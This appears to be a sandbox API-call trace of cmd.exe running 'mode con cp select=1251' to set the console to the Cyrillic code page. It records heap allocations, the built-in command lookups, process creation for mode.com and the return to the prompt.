	[0169.388] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1a) returned 0x2606afe6330
	[0169.388] GetProcessHeap () returned 0x2606afe0000
	[0169.388] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x38) returned 0x2606afe6500
	[0169.389] GetConsoleOutputCP () returned 0x1b5
	[0169.954] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0169.954] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0170.352] GetConsoleTitleW (in: lpConsoleTitle=0xb1e76ff560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0171.280] malloc (_Size=0xffce) returned 0x2606b100840
	[0171.280] ??_V@YAXPEAX@Z () returned 0x2606b100840
	[0171.281] malloc (_Size=0xffce) returned 0x2606b110820
	[0171.281] ??_V@YAXPEAX@Z () returned 0x2606b110820
	[0171.282] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0171.282] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0171.282] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0171.282] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0171.282] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0171.282] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0171.282] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0171.282] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0171.282] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0171.282] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0171.282] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0171.283] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0171.283] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0171.283] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0171.283] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0171.283] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0171.283] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0171.283] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0171.283] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0171.283] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0171.283] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0171.283] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0171.283] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0171.283] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0171.283] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0171.283] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0171.283] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0171.283] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0171.283] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0171.283] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0171.283] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0171.283] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0171.283] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0171.283] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0171.283] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0171.283] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0171.283] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0171.283] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0171.283] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0171.283] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0171.283] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0171.283] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0171.283] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0171.283] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0171.283] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0171.283] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0171.283] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0171.284] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0171.284] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0171.284] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0171.284] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0171.284] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0171.284] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0171.284] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0171.284] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0171.284] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0171.284] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0171.284] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0171.284] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0171.284] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0171.284] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0171.284] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0171.284] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0171.284] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0171.284] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0171.284] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0171.284] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0171.284] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0171.284] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0171.284] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0171.284] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0171.284] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0171.284] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0171.284] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0171.284] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0171.284] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0171.284] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0171.284] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0171.284] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0171.284] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0171.284] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0171.284] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0171.284] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0171.285] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0171.285] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0171.285] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0171.285] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0171.285] ??_V@YAXPEAX@Z () returned 0x1
	[0171.285] GetProcessHeap () returned 0x2606afe0000
	[0171.285] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xffde) returned 0x2606afe8e90
	[0171.286] GetProcessHeap () returned 0x2606afe0000
	[0171.286] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x42) returned 0x2606afe7880
	[0171.286] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0171.286] malloc (_Size=0xffce) returned 0x2606b110820
	[0171.286] ??_V@YAXPEAX@Z () returned 0x2606b110820
	[0171.286] GetProcessHeap () returned 0x2606afe0000
	[0171.286] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1ffac) returned 0x2606aff8e80
	[0171.289] SetErrorMode (uMode=0x0) returned 0x0
	[0171.289] SetErrorMode (uMode=0x1) returned 0x0
	[0171.289] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2606aff8e90, lpFilePart=0xb1e76fede0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb1e76fede0*="system32") returned 0x13
	[0171.289] SetErrorMode (uMode=0x0) returned 0x1
	[0171.289] GetProcessHeap () returned 0x2606afe0000
	[0171.289] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff8e80, Size=0x42) returned 0x2606aff8e80
	[0171.289] GetProcessHeap () returned 0x2606afe0000
	[0171.289] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff8e80) returned 0x42
	[0171.289] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0171.289] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0171.289] GetProcessHeap () returned 0x2606afe0000
	[0171.289] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1b6) returned 0x2606afe78d0
	[0171.289] GetProcessHeap () returned 0x2606afe0000
	[0171.289] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x35c) returned 0x2606aff8ee0
	[0171.299] GetProcessHeap () returned 0x2606afe0000
	[0171.299] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff8ee0, Size=0x1b8) returned 0x2606aff8ee0
	[0171.299] GetProcessHeap () returned 0x2606afe0000
	[0171.299] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff8ee0) returned 0x1b8
	[0171.299] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0171.299] GetProcessHeap () returned 0x2606afe0000
	[0171.299] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xe8) returned 0x2606aff90b0
	[0171.301] GetProcessHeap () returned 0x2606afe0000
	[0171.301] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff90b0, Size=0x7e) returned 0x2606aff90b0
	[0171.301] GetProcessHeap () returned 0x2606afe0000
	[0171.301] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff90b0) returned 0x7e
	[0171.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0171.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xb1e76feb50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb1e76feb50) returned 0x2606aff9140
	[0171.302] GetProcessHeap () returned 0x2606afe0000
	[0171.302] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x0, Size=0x28) returned 0x2606afe6540
	[0171.302] FindClose (in: hFindFile=0x2606aff9140 | out: hFindFile=0x2606aff9140) returned 1
	[0171.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xb1e76feb50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb1e76feb50) returned 0x2606aff9140
	[0171.302] GetProcessHeap () returned 0x2606afe0000
	[0171.302] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606afe6540, Size=0x8) returned 0x2606afe6540
	[0171.302] FindClose (in: hFindFile=0x2606aff9140 | out: hFindFile=0x2606aff9140) returned 1
	[0171.302] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0171.302] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0171.302] ??_V@YAXPEAX@Z () returned 0x1
	[0171.302] GetConsoleTitleW (in: lpConsoleTitle=0xb1e76ff0d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0171.728] GetProcessHeap () returned 0x2606afe0000
	[0171.728] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x21c) returned 0x2606aff9140
	[0171.728] GetConsoleTitleW (in: lpConsoleTitle=0x2606aff9150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0172.593] GetProcessHeap () returned 0x2606afe0000
	[0172.593] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff9140, Size=0x8c) returned 0x2606aff9140
	[0172.594] GetProcessHeap () returned 0x2606afe0000
	[0172.594] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff9140) returned 0x8c
	[0172.594] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0173.085] GetProcessHeap () returned 0x2606afe0000
	[0173.085] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff9140) returned 1
	[0173.085] InitializeProcThreadAttributeList (in: lpAttributeList=0xb1e76feff0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb1e76feee0 | out: lpAttributeList=0xb1e76feff0, lpSize=0xb1e76feee0) returned 1
	[0173.085] UpdateProcThreadAttribute (in: lpAttributeList=0xb1e76feff0, dwFlags=0x0, Attribute=0x60001, lpValue=0xb1e76feecc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb1e76feff0, lpPreviousValue=0x0) returned 1
	[0173.085] GetStartupInfoW (in: lpStartupInfo=0xb1e76fef80 | out: lpStartupInfo=0xb1e76fef80*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0173.103] GetProcessHeap () returned 0x2606afe0000
	[0173.103] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x20) returned 0x2606afe7610
	[0173.103] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0173.104] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0173.105] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0173.105] GetProcessHeap () returned 0x2606afe0000
	[0173.105] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe7610) returned 1
	[0173.105] GetProcessHeap () returned 0x2606afe0000
	[0173.105] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x12) returned 0x2606afe7610
	[0173.105] _get_osfhandle (_FileHandle=1) returned 0x254
	[0173.105] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0173.105] _get_osfhandle (_FileHandle=0) returned 0x248
	[0173.105] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0173.105] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xb1e76fef10*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb1e76feee8 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0xb1e76feee8*(hProcess=0x98, hThread=0x94, dwProcessId=0xe28, dwThreadId=0xe2c)) returned 1
	[0173.126] CloseHandle (hObject=0x94) returned 1
	[0173.126] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0173.126] GetProcessHeap () returned 0x2606afe0000
	[0173.126] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6570) returned 1
	[0173.126] GetEnvironmentStringsW () returned 0x2606afe6570*
	[0173.126] GetProcessHeap () returned 0x2606afe0000
	[0173.127] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xafe) returned 0x2606aff9540
	[0173.127] FreeEnvironmentStringsA (penv="=") returned 1
	[0173.127] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffba9700000
	[0173.127] GetProcAddress (hModule=0x7ffba9700000, lpProcName="NtQueryInformationProcess") returned 0x7ffba97a56b0
	[0173.127] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xb1e76fe3e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xb1e76fe3e8, ReturnLength=0x0) returned 0x0
	[0173.127] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x996e4c5000, lpBuffer=0xb1e76fe420, nSize=0x7a0, lpNumberOfBytesRead=0xb1e76fe3e0 | out: lpBuffer=0xb1e76fe420*, lpNumberOfBytesRead=0xb1e76fe3e0*=0x7a0) returned 1
	[0173.129] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0179.273] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xb1e76fee68 | out: lpExitCode=0xb1e76fee68*=0x0) returned 1
	[0179.273] CloseHandle (hObject=0x98) returned 1
	[0179.273] _vsnwprintf (in: _Buffer=0xb1e76ff038, _BufferCount=0x13, _Format="%08X", _ArgList=0xb1e76fee78 | out: _Buffer="00000000") returned 8
	[0179.273] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0179.273] GetProcessHeap () returned 0x2606afe0000
	[0179.273] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff9540) returned 1
	[0179.273] GetEnvironmentStringsW () returned 0x2606affab80*
	[0179.274] GetProcessHeap () returned 0x2606afe0000
	[0179.274] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb24) returned 0x2606affb6b0
	[0179.274] FreeEnvironmentStringsA (penv="=") returned 1
	[0179.274] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0179.274] GetProcessHeap () returned 0x2606afe0000
	[0179.274] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606affb6b0) returned 1
	[0179.274] GetEnvironmentStringsW () returned 0x2606affab80*
	[0179.276] GetProcessHeap () returned 0x2606afe0000
	[0179.276] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb24) returned 0x2606affb6b0
	[0179.277] FreeEnvironmentStringsA (penv="=") returned 1
	[0179.277] GetProcessHeap () returned 0x2606afe0000
	[0179.277] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe7610) returned 1
	[0179.277] DeleteProcThreadAttributeList (in: lpAttributeList=0xb1e76feff0 | out: lpAttributeList=0xb1e76feff0) 
	[0179.277] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0179.341] ??_V@YAXPEAX@Z () returned 0x1
	[0179.341] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.341] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0179.341] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.341] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff63317fc08 | out: lpMode=0x7ff63317fc08) returned 0
	[0179.341] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.341] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff63317fc0c | out: lpMode=0x7ff63317fc0c) returned 0
	[0179.341] GetConsoleOutputCP () returned 0x4e3
	[0179.373] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0179.374] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff90b0) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff8ee0) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe78d0) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff8e80) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe7880) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8e90) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6500) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6330) returned 1
	[0179.463] GetProcessHeap () returned 0x2606afe0000
	[0179.463] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe77c0) returned 1
	[0179.463] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb1e76ff418 | out: _Buffer="\r\n") returned 2
	[0179.463] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.463] GetFileType (hFile=0x254) returned 0x3
	[0179.463] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.463] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0179.463] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb1e76ff3e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff3e8*=0x2, lpOverlapped=0x0) returned 1
	[0179.463] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0179.463] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b0e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0179.463] _vsnwprintf (in: _Buffer=0x2606b0f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb1e76ff428 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0179.464] _vsnwprintf (in: _Buffer=0x2606b0f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb1e76ff428 | out: _Buffer=">") returned 1
	[0179.464] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.464] GetFileType (hFile=0x254) returned 0x3
	[0179.464] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.464] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0179.464] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb1e76ff418, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff418*=0x14, lpOverlapped=0x0) returned 1
	[0179.464] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.464] GetFileType (hFile=0x248) returned 0x3
	[0179.464] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.464] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
